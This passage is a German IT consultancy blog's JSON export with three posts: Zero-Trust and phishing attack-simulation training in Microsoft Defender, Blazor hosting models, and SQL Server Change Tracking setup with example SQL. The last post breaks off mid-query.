fokussieren wir uns auf Phishing. Laut Bitkom sind davon 84 Prozent der Unternehmen in Deutschland im vergangenen Jahr betroffen.\nWarum Zero-Trust? Wenn also IT-Sicherheit wichtig ist, wie können Unternehmen in unterschiedlichen Bereichen sicher werden? Durch das Sicherheitsmodell Zero-Trust. Das basiert darauf, dass jegliche Zugriffe, egal worauf, immer verifiziert werden.\nZero-Trust: Verify explicitly Das ist das erste der drei Grundprinzipien: verify explicitly. Also explizite Kontrollen, d.h. jeder Zugriff wird authentifiziert.\nZero-Trust: Least-privilege Das zweite Prinzip ist das Least-privilege-Prinzip, nachdem der Zugriff feingranular gesteuert und z.B. im Falle administrativer Tätigkeiten nur für eine bestimmte Zeit aktiviert und dokumentiert wird.\nZero-Trust: Assume breach Assume breach ist das dritte Prinzip, das besagt, dass trotz aller Vorsichtsmaßnahmen das System trotzdem Opfer eines Angriffs werden könnte bzw. wird. Deshalb ist es wichtig, Mitarbeitende zu sensibilisieren, zu trainieren und zu schulen. Weil, der Mitarbeitende kann das Einfallstor an der Sichterheitsfront sein. Weitere Prinzipien Zero-Trust betrachtet hierbei alle Aspekte einer modernen IT-Infrastruktur. Während früher die Absicherung des Systems nach außen im Vordergrund stand und die Wand zur Außenwelt immer höher wurde, geht Zero-Trust hier einen anderen Weg. Dadurch dass jeder Zugriff authentifiziert sein muss, können Ressourcen wie bei Cloud- und SaaS-Services üblich, direkt erreichbar sein. Firewalls und Netzwerksicherheit sind aber weiterhin relevant, vor allem zur Absicherung und Segmentierung der Netzwerke. Das sind aber nicht die alleinige \u0026ldquo;Gate-Keeper\u0026rdquo; wie früher. Man kann sich Zero-Trust als Schichten vorstellen, die bei der Benutzeridentität beginnen und bei den physischen Daten auf einem Datenträger enden. Über all diese Schichten hinweg sammelt das System per SIEM-Lösung (Security information and event management) Signale und Events als Logs und Metriken, um frühzeitig vor allem toxische Anomalien zu erkennen.\nFishing? Phishing? Whaling? Der Mensch ist immer das schwächste Glied in der Sicherheitskette, weshalb es auch Fishing, Phishing und Whaling gibt. Aber was ist das?\nMan kann Phishing- und Fishing-Angriffe als zwei Arten von Cyberangriffen unterscheiden, die Einzelpersonen und Unternehmen erheblichen Schaden zufügen können. Phishing-Angriffe zielen darauf ab, sensible Informationen zu stehlen, während Fishing-Angriffe darauf abzielen, Malware zu installieren oder Fernzugriff auf ein Gerät zu erlangen. Wir unterscheiden hier nicht, da beide Arten von Angriffen zu finanziellen Verlusten oder einem Identitätsdiebstahl führen und vor allem den Ruf des Unternehmens schädigen.\nPhishing (Neologismus von \u0026ldquo;fishing\u0026rdquo;, engl. für \u0026ldquo;Angeln\u0026rdquo;) ist der Versuch, sich über gefälschte Inhalte als vertrauenswürdig in einer Kommunikation in der Breite auszugeben. Spear Phishing (abgeleitet vom englischen Wort für Speer) ist ein gezielter Angriff, bei dem der Angreifer den Empfängerkreis und Inhalt seiner Phishing-Angriffe aufeinander abstimmt. Whaling (Substantivierung des englischen Verbs \u0026ldquo;to whale\u0026rdquo; mit der Bedeutung Walfang) ist eine gezielte Attacke, die sich z.B. gegen hohe Führungskräfte richtet. Werden dabei persönliche Informationen über das Opfer und KI eingesetzt, spricht man auch von Harpoon Whaling (englischer Begriff für den Walfang mit einer Harpune). Laut dem letzten Brand Phishing Report Q3 2023 belegen die folgenden Unternehmen die am häufigsten imitierten Marken bei Phishing-Angriffen: Walmart (39 %), Microsoft (14 %), Wells Fargo (8 %), Google (4 %), Amazon (4 %), Apple (2 %), Home Depot (2 %), LinkedIn (2 %), Mastercard (1 %) und Netflix (1 %).\nMit dem Angriffssimulationstraining im Microsoft-365-Defender-Portal können realistische Angriffsszenarien in Unternehmen ausgeführt werden. Diese simulierten Angriffe können dabei helfen, anfällige Benutzer zu identifizieren und zu finden. Es geht aber nicht darum, mit dem Finger auf diese einzelnen Mitarbeitenden zu zeigen, sondern es geht vielmehr darum, diese Mitarbeitenden zu sensibilisieren und zu trainieren. Und das bevor sich ein echter Angriff auf diese und das Unternehmen auswirkt.\nAngriffssimulationstraining mit Microsoft Defender Microsoft Defender for Office enthält eine Angriffssimulationstrainingskomponente (Attack simulation training), die es Administratoren ermöglicht, harmlose Cyberangriffe in ihrer Organisation durchzuführen. Eine solche Simulation emuliert echte Phishing-Angriffe auf das Unternehmen, um die internen Sicherheitsrichtlinien zu testen, die Mitarbeitenden zu schulen und besonders deren Bewusstsein zu erhöhen. So kann ihre Anfälligkeit für Angriffe verringert werden.\nVoraussetzung für das Angriffssimulationstraining sind:\nMicrosoft-365-E5-Lizenz oder Lizenz für Microsoft Defender for Office 365 Plan 2 Mitgliedschaften in einer der folgenden privilegierten Rollen (Entra ID role based access control - RBAC): Globaler Administrator Sicherheitsadministrator Angriffssimulationsadministratoren: Erstellen und Verwalten aller Aspekte von Angriffssimulationskampagnen Autor von Angriffsnutzlasten: Erstellen von Angriffsnutzlasten, die ein Administrator später initiieren kann. Simulationstechniken für Fishing, Phishing und Whaling Das Angriffssimulationstraining bietet verschiedene Simulationstechniken, die auf dem MITRE ATT\u0026amp;CK® Framework basieren. Diese Techniken simulieren verschiedene Arten von Angriffen:\nDiebstahl von Anmeldeinformationen (Credential Harvest): Ein Angreifer sendet dem Empfänger eine Nachricht, welche eine URL enthält. Wenn der Empfänger auf diese URL klickt, wird er zu einer Website weitergeleitet, die in der Regel ein Dialogfeld anzeigt. In dem Dialogfeld wird der Benutzer nach Benutzername und Kennwort gefragt. Die Zielseite ist so designt, dass sie eine bekannte/erwartete Website darstellt, welcher der Anwender vertraut.\nSchadsoftwareanlage (Maleware Attachment): Ein Angreifer sendet dem Empfänger eine Nachricht, die eine Anlage enthält. Wenn der Empfänger diese Anlage öffnet, wird beliebiger Code (z. B. ein Makro) auf dem Gerät des Benutzers ausgeführt. Dieser Code infiziert den Client und zielt darauf ab, sich innerhalb des Netzwerks auszubreiten und auf andere Systeme zuzugreifen.\nLink in Anlage (Link in Attachment): Bei dieser Technik handelt es sich um einen Hybrid aus Schadsoftwareanlage (Maleware Attachment) und Diebstahl von Anmeldeinformationen (Credential Harvest). Ein Angreifer sendet dem Empfänger eine Nachricht, die eine URL in einer Anlage enthält. Wenn der Empfänger die Anlage öffnet und auf die URL klickt, wird er zu einer Website weitergeleitet, die in der Regel ein Dialogfeld anzeigt, in dem der Benutzer nach Benutzername und Kennwort gefragt wird.\nLink zu Schadsoftware (Link to Maleware): Ein Angreifer sendet dem Empfänger eine Nachricht, die einen Link zu einer Anlage auf einer bekannten Dateifreigabewebsite (z. B. SharePoint Online oder Dropbox) enthält. Wenn der Empfänger auf die URL klickt, wird die Anlage geöffnet und beliebiger Code (z. B. ein Makro) auf dem Gerät des Benutzers ausgeführt. Dieser Code infiziert den Client und zielt darauf ab, sich innerhalb des Netzwerks auszubreiten und auf andere Systeme zuzugreifen.\nDrive-by-URL: Ein Angreifer sendet dem Empfänger eine Nachricht, diese enthält eine URL. Wenn der Empfänger auf die URL klickt, wird er zu einer Website weitergeleitet, welche wiederum versucht, Hintergrundcode auszuführen. Dieser Hintergrundcode sammelt Informationen über den Empfänger oder versucht beliebigen Code auf dessen Gerät zu installieren. In der Regel handelt es sich bei der Zielwebsite um eine bekannte Website, die kompromittiert wurde, oder um einen Klon einer bekannten Website. Es wird eine bekannte/erwartete Website genutzt, um den Benutzer davon zu überzeugen, dass der Link sicher ist.\nErteilung einer Zustimmung in OAuth (OAuth Consent Grant): Ein Angreifer erstellt eine böswillige Azure-Anwendung, die versucht, Zugriff auf Daten zu erhalten. Die Anwendung sendet eine E-Mail-Anforderung, die eine URL enthält. Wenn der Empfänger auf die URL klickt, fordert der Zustimmungserteilungsmechanismus der Anwendung den Zugriff auf die Daten (z. B. den Posteingang des Benutzers) an.\nNutzlasten der Simulationstechniken Zur Durchführung einer Angriffssimulation wird dem User eine entsprechende Nutzlast (Payload) zugesendet, welche ihn bei Credential Harvesting bzw. Link in Anlage auf eine vorbereitete Anmeldeseite weiterleitet.\nMicrosoft stellt für jeder der beschriebenen Simulationstechniken vordefinierte Nutzlasten und auch Anmeldeseiten zur Verfügung. Diese befinden sich in der Inhaltsbibliothek (Content Libary). Dort können auch individuelle Nutzlasten und Anmeldeseiten erstellt werden, um genau auf Ihr Unternehmen zugeschnittene Angriffssimulationen durchzuführen.\nErstellen einer Angriffssimulation mit Microsoft Defender: Schritt für Schritt Der erste Schritt beim Anlegen einer Angriffssimulation ist die Auswahl der oben beschriebenen Simulationstechnik. Für unser Beispiel nutzen wir Maleware Attachment und gehen per Klick auf Next zum nächsten Schritt.\nIn dieser Maske vergeben wir einen aussagekräftigen Namen und eine Beschreibung für unsere Angriffssimulation.\nAls nächstes wählen wir die Nutzlast (Payload) aus. Es ist möglich, individuelle Nutzlasten zu verwenden, um den individuell auf die Branche, den genutzten Services oder den Geschäftspartnern des Unternehmens einzugehen.\nDer Einfachheit halber, nutzen wir in diesem Beispiel eine von Microsoft bereitgestellten Nutzlast. Dazu filtern wir zunächst nach der gewünschten Sprache.\nAus den deutschen Beispielen wählen wir eine passende Vorlage.\nNach der Auswahl der Nutzlast wird die Zielgruppe ausgewählt. Hier kann entweder \u0026ldquo;Alle Nutzer der Organisation\u0026rdquo; gewählt werden oder es können individuelle Gruppen oder Benutzer ausgewählt werden.\nWir möchten unsere Simulation an die Mitglieder der Gruppe \u0026ldquo;Sales and Marketing\u0026rdquo; versenden und bestätigen dies mit Add.\nEs ist möglich, die Angriffssimulation um ein Training zu erweitern. Wenn ein Mitarbeitender bei der Angriffssimulation kompromittiert wird, kann er an eine URL weitergeleitet werden, um ein individuelles Training anzuzeigen, ein vorgefertigtes Training von Microsoft zu nutzen oder es wird kein automatisiertes Training verwendet. Wir verwenden hier kein automatisiertes Training und setzen auf eine individuelle Sensibilisierung nach Abschluss der Angriffssimulation.\nWird ein User kompromittiert, wird er auf eine Landingpage weitergeleitet. Microsoft bietet hier bereits 5 vorgefertigte an. Es ist auch hier möglich, eine individuelle Landingpage mit der Corporate Identity des Unternehmens anzulegen und zu verwenden.\nVor und nach der Angriffssimulation können Info-E-Mails an die eingeschlossenen User versendet werden. Auch hier gibt es die Möglichkeit, dies abzuwählen, die Vorlage von Microsoft zu verwenden oder eine individuelle Nachricht zu definieren.\nZuletzt bleibt noch das Festlegen des Startzeitpunktes und der Dauer der Simulation.\nIm letzten Bildschirm kann sich der angemeldete User die erstellte E-Mail zum Test zusenden und per Klick auf Submit die Simulation starten.\nWir haben nun erfolgreich eine Angriffssimulation erstellt. Wie gezeigt, gibt es an vielen Stellen die Möglichkeit, die Simulation zu individualisieren und an das Unternehmen individuell anzupassen. Bei einer Nutzlast, welche individuell auf das Unternehmen zugeschnitten ist, ist die Rate der Kompromittierung deutlich höher als bei Nutzung der Standardvorlagen.\nAuswertung der Angriffssimulation über Reports des Microsoft Defenders Nachdem die Angriffssimulation gestartet wurde, kann diese unter Simulationen geöffnet werden. Im Reiter \u0026ldquo;Report\u0026rdquo; werden die Ergebnisse und Zahlen der Angriffssimulation angezeigt. Der Reiter \u0026ldquo;User\u0026rdquo; enthält die Detailinformationen zu jedem Teilnehmer der Simulation. Im letzten Reiter \u0026ldquo;Detail\u0026rdquo; kann die Konfiguration der entsprechenden Angriffssimulation nochmals eingesehen werden.\nWir hoffen, wir konnten Ihnen einen ersten Überblick in das Angriffssimulationsmodul von Microsoft Defender geben.\nGerne unterstützen wir Ihr Unternehmen bei der Vorbereitung und Durchführung von Angriffssimulationen in Ihrem Unternehmen! ","date":"29. November 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/attack-simulation_hu3bb66c2e02d947b7726c9ee480ac479b_89345_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/attack-simulation_hu3bb66c2e02d947b7726c9ee480ac479b_89345_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/angriffssimulationstraining-wer-nicht-%C3%BCbt-der-nicht-gewinnt/","tags":["azure","security"],"title":"Angriffssimulationstraining - Wer nicht übt, der nicht gewinnt"},{"categories":["Serien"],"contents":"Im ersten Teil dieser Beitragsreihe wurden die Entstehungsgeschichte, die Vorteile und das Potenzial des innovativen Web-Frameworks Blazor betrachtet. Dabei fiel bereits ein kurzer Blick auf die sogenannten Hosting-Modelle. In diesem zweiten Teil erfolgt nun eine genauere Betrachtung und es wird darauf eingegangen, welche Unterschiede es gibt und wie diese ein Faktor bei der Auswahl eines Hosting-Modells spielen können.\nHosting-Modelle – Eine Übersicht Vor der ausführlichen Betrachtung der verschiedenen Hosting-Modelle muss zunächst einmal geklärt werden, was unter Hosting-Modelle eigentlich verstanden wird, da sie bei der Entwicklung mit Blazor von entscheidender Bedeutung sind. An ihnen wird ausgemacht, wo eine Anwendung ausgeführt wird und wie Komponenten gerendert werden. Es wird dabei in die folgende Modelle unterschieden: Blazor Server für serverseitiges Rendering (Server-side Rendering, SSR), Blazor WebAssembly für clientseitiges Rendering (Client-side Rendering, CSR) und Blazor Hybrid für die native Ausführung von Apps auf mobilen Geräten oder dem Desktop. Die Entscheidung, welches Modell genutzt wird, wird hauptsächlich durch unterschiedliche Projektkonfigurationen geregelt. Die eigentliche Entwicklung von Razor-Komponenten bleibt über die verschiedenen Hosting-Modelle hinweg weitgehend gleich.\nBlazor Server Blazor Server wurde im Jahr 2018 als das erste produktionsreife Hosting-Modell mit Blazor eingeführt. Bei diesem Hosting-Modell erfolgt das Rendern der Komponenten serverseitig und erinnert an frühere Anwendungen, wie sie beispielsweise mit ASP.NET MVC üblich waren. In solchen Anwendungen wurden komplette HTML-Seiten auf dem Server generiert und an den Client ausgeliefert (SSR). In Blazor Server wird ebenfalls serverseitiges Rendering ausgeführt, jedoch gibt es dabei einen grundlegenden Unterschied. Denn Blazor Server greift auf eine SignalR-Verbindung zurück, die das WebSockets-Protokoll nutzt. Somit können trotz serverseitigem Rendering die zu aktualisierende Komponenten oder Inkremente aus dem Render Tree in Echtzeit berechnet und ausgetauscht werden, um damit als Single Page Application (SPA) zu fungieren.\nWie das Rendering beispielhaft abläuft und wie dabei die Komponenten im Browser aktualisiert werden, wird nachfolgend veranschaulicht.\nZu Beginn wird Blazor auf dem Server ausgeführt (1). Basierend auf den Razor-Komponenten baut Blazor einen Render Tree auf (2). Im Browser wird die Blazor.server.js-Datei geladen, um eine Verbindung per SignalR mit dem Server herzustellen (3). Per SignalR wird der Render Tree vom Server an den Browser übertragen (4), im Document Object Model (DOM) aktualisiert (5) und anschließend dargestellt.\nWenn eine Interaktion im Browser erfolgt (3), wird das Event per SignalR (4) an den Server gesendet. Dort erfolgt das serverseitige Rendering (1) und die Berechnung des neuen Render Tree, beziehungsweise der notwendigen Aktualisierungen (2). Die notwendigen Aktualisierungen werden anschließend wieder per SignalR (4) zurück an den Browser geliefert, verarbeitet (3) und anschließend im DOM aktualisiert (5) und daraufhin dargestellt.\nDurch das hier aufgezeigte serverseitige Rendering ergeben sich folgende Vor- und Nachteile.\nVorteile serverseitiges Rendering Echtzeitdatenaustausch mit SignalR: Echtzeitkommunikation zwischen Client und Server ist möglich. Keine API zwischen Browser und Server notwendig: Der Code wird serverseitig ausgeführt, wodurch die Entwicklung einer separaten API nicht zwingend notwendig ist. Hohe Sicherheit: Der Code bleibt auf dem Server und wird nicht an den Client ausgeliefert. Schnelle initiale Ausführung und geringe Datenlast: Die Ausführung auf dem Server führt zu schnellen Ladezeiten und geringer Datenlast. Nachteile serverseitiges Rendering Keine Offline-Fähigkeit: Aufgrund der Abhängigkeit zum Server ist die Anwendung nicht offline verfügbar. Server-Ressourcen und Skalierbarkeit: Apps mit vielen Nutzern erfordern zusätzliche Server-Ressourcen und Client-Verbindungen. Erhöhter Netzwerkverkehr: Bei jeder Nutzerinteraktion müssen Informationen mit dem Server ausgetauscht werden. .NET-Server erforderlich: Die Anwendung muss auf einem Server mit installiertem .NET ausgeführt werden. Blazor WebAssembly Blazor WebAssembly ist das clientseitige Hosting-Modell von Blazor und wurde im Jahr 2020 erstmals produktionsreif eingeführt. Es basiert auf dem namensgebenden offenen Standard WebAssembly. Dieser wurde vom World Wide Web Consortium (W3C) im Jahr 2017 veröffentlicht. Mit diesem Standard ist es möglich, kompilierten Code in Webbrowsern auszuführen. Dies eröffnet die Möglichkeit, Programme für Webbrowser in Sprachen zu schreiben, die über JavaScript hinausgehen.\nBei der Kompilierung einer Blazor-WebAssembly-Anwendung werden Inhalte zu .NET Assemblies kompiliert. Beim Öffnen der Anwendung im Browser wird dann die WebAssembly-Implementierung der .NET Runtime zusammen mit den erstellten Assemblies geladen und ausgeführt. Im Gegensatz zu Blazor Server ähnelt Blazor WebAssembly eher den allgemein bekannten Single-Page-Application-Frameworks (SPA) mit clientseitigem Rendering wie Angular oder React.\nDer Rendering-Ablauf bei Blazor WebAssembly unterscheidet sich von Blazor Server. Zu Beginn wird die WebAssembly-Implementierung der .NET-Runtime bekannt als Dotnet.wasm im Browser geladen (1). Anhand dieser Implementierung kann das in C# entwickelte Blazor-Projekt im Browser ausgeführt werden (2). Blazor baut anschließend den Render Tree auf (3) und übergibt diesen mittels JS Interop an ein JavaScript-Skript namens Blazor.webassembly.js (4). Dieses Skript führt die erforderlichen DOM-Aktualisierungen durch, da WebAssembly selbst nicht direkt auf den DOM zugreifen kann (5). Anschließend wird der DOM mit den Änderungen aktualisiert und dargestellt (6).\nDie Kommunikation zwischen Nutzerinteraktionen und Blazor erfolgt ebenfalls über JS Interop. Wenn ein Nutzer mit der Anwendung interagiert, werden die Informationen über JS Interop an Blazor weitergeleitet, wo die erforderlichen Aktualisierungen berechnet und auf gleichem Weg wieder zurück an den DOM gegeben werden.\nDurch das hier aufgezeigte clientseitige Rendering ergeben sich folgende Vor- und Nachteile.\nVorteile clientseitiges Rendering Kompilierter Code: Führt zu einer besseren Leistung der Laufzeit. Weniger Ressourcen: Code wird clientseitig ausgeführt und der Sever entlastet. Offline-Fähigkeit: Die Anwendung kann offline verwendet werden und unterstützt Progressive Web Apps (PWA). Einfaches Deployment: Die Anwendung kann auf einfachen Static File Hosts bereitgestellt werden. Nachteile clientseitiges Rendering Initiale Ladezeit: Die anfängliche Ladezeit kann durch WebAssembly erhöht sein. Höhere Datenlast: Kompilierter Code kann zu einer höheren Datenlast führen. Code-Auslieferung: Der Code wird an den Client ausgeliefert. API-Abhängigkeit: Eine separate API ist notwendig, um mit dem Server zu sprechen. Blazor Hybrid Mit Blazor Hybrid wird .NET MAUI (Framework für Multi-Plattform-Anwendungen) um Webtechnologien erweitert. Anstatt mit XAML - wie in .NET MAUI üblich – kann nun mit HTML die Entwicklung von Komponenten erfolgen und somit auch Komponenten aus einem Blazor-Projekt wiederverwendet werden. Durch die Funktionalitäten von .NET MAUI wird eine Cross-Plattform-Unterstützung angeboten, um eine Blazor-Anwendung auf Windows, macOS, iOS und Android auszuliefern. Das Laden der mit Blazor entwickelten Komponenten erfolgt dabei über eine BlazorWebView, die auch nativen Zugriff auf Funktionalitäten und APIs des jeweiligen Endgeräts ermöglicht.\nDurch die Nutzung von Blazor Hybrid ergeben sich folgende Vor- und Nachteile.\nVorteile Blazor Hybrid Wiederverwendung von Code: Razor-Komponenten und C#-Logik können zwischen Desktop-, Mobile- und Webprojekten geteilt werden. Plattformübergreifend: Blazor-Hybrid-Anwendungen können auf verschiedenen Plattformen ausgeführt werden. Native Funktionen: Mit Blazor Hybrid kann auf native Funktionen und APIs zugegriffen werden, sodass die Leistungsfähigkeit einer nativen Anwendung genutzt werden kann. Nachteile Blazor Hybrid Komplexität: Die Integration in eine bestehende Blazor-Hybrid-Anwendung kann komplex sein. Höhere Dateigröße: Blazor-Hybrid-Anwendungen benötigen tendenziell mehr Speicher als nativ entwickelte Anwendungen. Performance: Die Ausführungsgeschwindigkeit kann im Vergleich zu nativ entwickelten Anwendungen geringer sein. Die Wahl des richtigen Hosting-Modells Es wird deutlich, dass jedes Modell individuelle Einsatzbereiche sowie Stärken und Schwächen hat. Die Entscheidung für das richtige Hosting-Modell sollte daher immer auf den konkreten Anwendungsfall abgestimmt sein. Wenn es beispielsweise notwendig ist, die Anwendung auf mobilen Endgeräten bereitzustellen, kann Blazor Hybrid eine sinnvolle Wahl sein. Ebenso kann sich jedoch auch Blazor WebAssembly als PWA-Option anbieten. Wenn hingegen Performance ein entscheidender Faktor ist, könnte die Entscheidung auf Blazor Server fallen, bei einer notwendigen niedrigeren Serverlast hingegen eher Blazor WebAssembly.\nDie Wahl des Hosting-Modells hängt von verschiedenen Variablen ab, es gibt daher keine Einheitslösung. Es ist ratsam, eine gründliche Analyse der Projektanforderungen durchzuführen und die Vor- und Nachteile der verschiedenen Hosting-Modelle abzuwägen, um die richtige Entscheidung zu treffen.\nFazit zu Blazor und den Hosting-Modellen In diesem zweiten Teil der Blazor-Blogreihe erfolgte ein detaillierter Blick auf die verschiedenen Hosting-Modelle von Blazor. Dabei wurden die spezifischen Eigenschaften von Blazor Server für serverseitiges Rendering, Blazor WebAssembly für clientseitiges Rendering und Blazor Hybrid für die native Ausführung auf mobilen Endgeräten und auf dem Desktop betrachtet. Anhand dieser Betrachtung zeigte sich, dass die Auswahl des passenden Hosting-Modells nach sorgfältiger Analyse der Projektanforderungen und Abwägung der jeweiligen Vor- und Nachteile getroffen werden sollte. Die Nutzung der Stärken von .NET und C# in der Web-Entwicklung kann jedoch unabhängig von dem jeweils gewählten Hosting-Modell erfolgen.\nHier geht es noch einmal zum ersten Beitrag der Serie: Blazor - das Web-Framework von Microsoft ","date":"16. November 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/blazor-hosting-modelle_hu00f406fa6ccda1aea156c5a5ee8ce2cb_299167_650x0_resize_q90_h2_box_3.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/blazor-hosting-modelle_hu00f406fa6ccda1aea156c5a5ee8ce2cb_299167_650x0_resize_box_3.png'\"\u003e\n \n \n \n\n","permalink":"/blazor-hosting-modelle/","tags":[".net","microsoft-365"],"title":"Blazor – Hosting-Modelle"},{"categories":["How-To"],"contents":"In Software- und Digitalisierungsprojekten kommt es oft vor, dass Daten aus einer SQL-Datenbank in das zukünftige Zielsystem importiert bzw. migriert werden müssen. Dabei steht man immer vor der Wahl: harte oder weiche Migration (Hard/Soft Migration). Welche Vor- und Nachteile diese bergen und welche technischen Möglichkeiten bestehen, zeige ich in diesem Blogbeitrag.\nHard Migration Bei einer harten Migration ist auch oft die Rede vom sogenannten \u0026ldquo;Big Bang\u0026rdquo;. Das bedeutet, dass einmalig alle Daten vom Quellsystem in des Zielsystem überführt werden. Dadurch müssen Daten nur einmalig überführt werden und die Komplexität bleibt somit überschaubar, allerdings besteht hier ein sehr großes Risiko eines möglichen Ausfalls am Tag des Go-Lives. Auch muss der Durchsatz der APIs des Zielsystems berücksichtigt werden, um mit (sehr) großen Datenmengen umgehen zu können.\nVorteile:\ngünstiger weniger Komplex geringerer Zeitaufwand Nachteile:\nSehr hohes Risiko, einen umfangreichen und teuren Ausfall zu erleiden (oft nur mit einer Downtime umsetzbar). Soft Migration Bei einer weichen Migration verlagert man das Risiko über die Zeit. Das bedeutet, dass nicht zu einem bestimmten Stichtag alle Daten vom Quell- in das Zielsystem überführt sein müssen. Somit können zu Beginn nur einige Entitäten für die Migration ausgewählt und im weiteren Projektverlauf (iterativ) weitere Entitäten zur Migration hinzugefügt werden. In einem möglichen Fehlerfall betrifft dieser immer nur einen Teilbereich des Systems und führt somit nicht zum Totalausfall.\nVorteile:\ngeringeres Risiko für Gesamtsystem keine Ausfallzeit Nachteile:\nhohe Komplexität hoher zeitlicher Aufwand teurer Welche Möglichkeiten habe ich bei einem SQL-Server? Im weiteren Verlauf möchte ich den Fokus auf die weiche Migration legen und zeigen, welche Möglichkeiten man in Bezug auf einen SQL-Server hat.\nManueller Abgleich Der manuelle Abgleich erfordert ein sehr hohes Maß an Vorbereitung und Logik, um Änderungen im SQL-Server zu erfassen und festzustellen. Dabei gibt es jeweils zwei unterschiedliche Ansätze:\nKompletter Abgleich: Zum einen gibt es die Möglichkeit, durch eine Spiegelung der Datenbank einen kompletten Abgleich derselben zu erhalten. Man muss lediglich periodisch die Quelldatenbank abfragen und die Änderungen selbstständig ermitteln und in der eigenen Datenbank abspeichern. Je nach Kürze des Intervalls und der ermittelten Datenmenge kann dies die Grundlast auf dem SQL-Server erhöhen und evtl. produktive Anwendungen negativ beeinflussen. Ereignisgesteuert: Zum anderen können Änderungen direkt in der Ausführung von gespeicherten Prozeduren (Stored Procedure) integriert und als Event an ein weiteres Ziel (z. B. Azure Service Bus) weitergeleitet werden. Beide Ansätze haben allerdings einen Nachteil: Änderungen können aufgrund der eigenen Implementierung verloren gehen, indem diese durch einen Programmierfehler nicht mehr funktionieren oder einen Datenverlust durch den eigenen Abgleich hervorrufen. Falls sich das Schema der Quelldatenbank ändert, muss dies entsprechend berücksichtigt werden.\nBoardmittel des SQL-Servers Und was bietet der SQL-Server hier out of the box? Dankenswerterweise besitzt der SQL-Server hier Funktionalitäten, um Änderungen zu erfassen. Hierzu gehören Change Data Capture und Change Tracking.\nDer zentrale Vorteil hierbei ist, dass der SQL-Server selbst sämtliche Funktionalität und Datenhaltung bereitstellt und man somit keine Abhängigkeiten hat. Außerdem wird der allgemeine overhead, der beim Abfragen der Änderungen entsteht, reduziert und produktive Anwendungen erhalten hier keine nennenswerte Beeinträchtigung.\nFolgende Funktionalitäten haben Change Data Capture als auch Change Tracking gemeinsam:\nÄnderungen (INSERT, UPDATE, DELETE) werden registriert. Erfassen, welche Spalte wurde geändert. Erfassen, welcher Änderungstyp durchgeführt wurde. Change Data Capture erfasst zusätzlich noch Historie-Daten.\nHow to Change Tracking? Nun möchten wir uns genau anschauen, wie man Change Tracking im SQL-Server aktiviert und wie es funktioniert.\nEinrichtung von Change Tracking Zunächst einmal müssen wir Change Tracking für die SQL-Datenbank aktivieren:\nALTER DATABASE [wf-sample] SET CHANGE_TRACKING = ON (CHANGE_RETENTION = 2 DAYS, AUTO_CLEANUP = ON) CHANGE_RETENTION legt dabei fest, wie lange Änderungen nachverfolgt und aufbewahrt werden. Nach dieser Periode werden sie automatisch gelöscht. AUTO_CLEANUP löscht die alten Change-Tracking-Informationen, wenn es aktiviert ist.\nDas Change Tracking ist zwar jetzt in der Datenbank aktiviert, jedoch muss für jede einzelne Tabelle das Change Tracking explizit aktiviert werden.\nSchauen wir uns nun die Tabelle an, welche zunächst erstellt wird:\nUSE [wf-sample] GO SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE TABLE [dbo].[Employee]( [Id] [int] NOT NULL IDENTITY(1,1) PRIMARY KEY, [Firstname] [nvarchar](50) NULL, [Lastname] [nvarchar](50) NULL, [Current Department] [nvarchar](50) NULL ) GO Darin enthalten sind Informationen zu Mitarbeitenden und in welcher Abteilung sie gerade sind:\nNun aktivieren wir Change Tracking auch für diese Tabelle:\nALTER TABLE [dbo].[Employee] ENABLE CHANGE_TRACKING WITH (TRACK_COLUMNS_UPDATED = ON) Mit der Option TRACK_COLUMNS_UPDATED wird angegeben, dass auch erfasst wird, welche Spalte sich verändert hat.\nWie funktioniert Change Tracking? Und jetzt wollen wir mal sehen, wie das Ganze funktioniert. Mit dem folgenden SQL-Statement erhält man alle Änderungen für die Employee-Tabelle.\nAktuell wird diese leer sein. Wenn wir nun Änderungen durchführen, sieht es schon anders aus:\nUPDATE [dbo].[Employee] SET [Current Department] = \u0026#39;Marketing\u0026#39; WHERE ID = 3 Und wenn wir nun die Änderungen abrufen:\ndeclare @last_synchronization_version bigint; SELECT * FROM CHANGETABLE(CHANGES Employee, @last_synchronization_version) AS CT; Erhalten wir eine Übersicht der Änderungen:\nIn der Übersicht befinden sich einige Spalten, welche für das Change Tracking verwendet werden:\nSYS_CHANGE_VERSION ist eine fortlaufende und eindeutige Nummer über alle Tabellen hinweg. SYS_CHANGE_CREATION_VERSION ist die Versionsnummer, wann der Eintrag initial erstellt wurde. SYS_CHANGE_OPERATION hält fest, welche Operation (U = Update; I = Insert; D = Delete) auf diesem Datensatz durchgeführt wurde. SYS_CHANGE_COLUMNS beinhaltet Informationen (ID) zur geänderten Spalte. SYS_CHANGE_CONTEXT beinhaltet einen selbstgewählten Kontext, den man bei einer DML-Operation (Data Manipulation Language) hinzufügen kann. Id gibt die fachliche ID der Quelltabelle an. Wenn man nun feststellen möchte, ob sich eine Spalte geändert hat, kann man dies mit folgendem SQL-Statement identifizieren:\n-- Übersicht über geänderte Spalten declare @last_synchronization_version bigint; declare @DepartmentID int = COLUMNPROPERTY(OBJECT_ID(\u0026#39;Employee\u0026#39;), \u0026#39;Current Department\u0026#39;, \u0026#39;ColumnId\u0026#39;); SELECT convert(VARCHAR(100), CT.SYS_CHANGE_CONTEXT) AS \u0026#34;Converted Context\u0026#34;, CHANGE_TRACKING_IS_COLUMN_IN_MASK(@DepartmentID, CT.SYS_CHANGE_COLUMNS) AS \u0026#34;Department Changed?\u0026#34;, * FROM CHANGETABLE(CHANGES Employee, @last_synchronization_version) AS CT WHERE CHANGE_TRACKING_IS_COLUMN_IN_MASK(@DepartmentID, 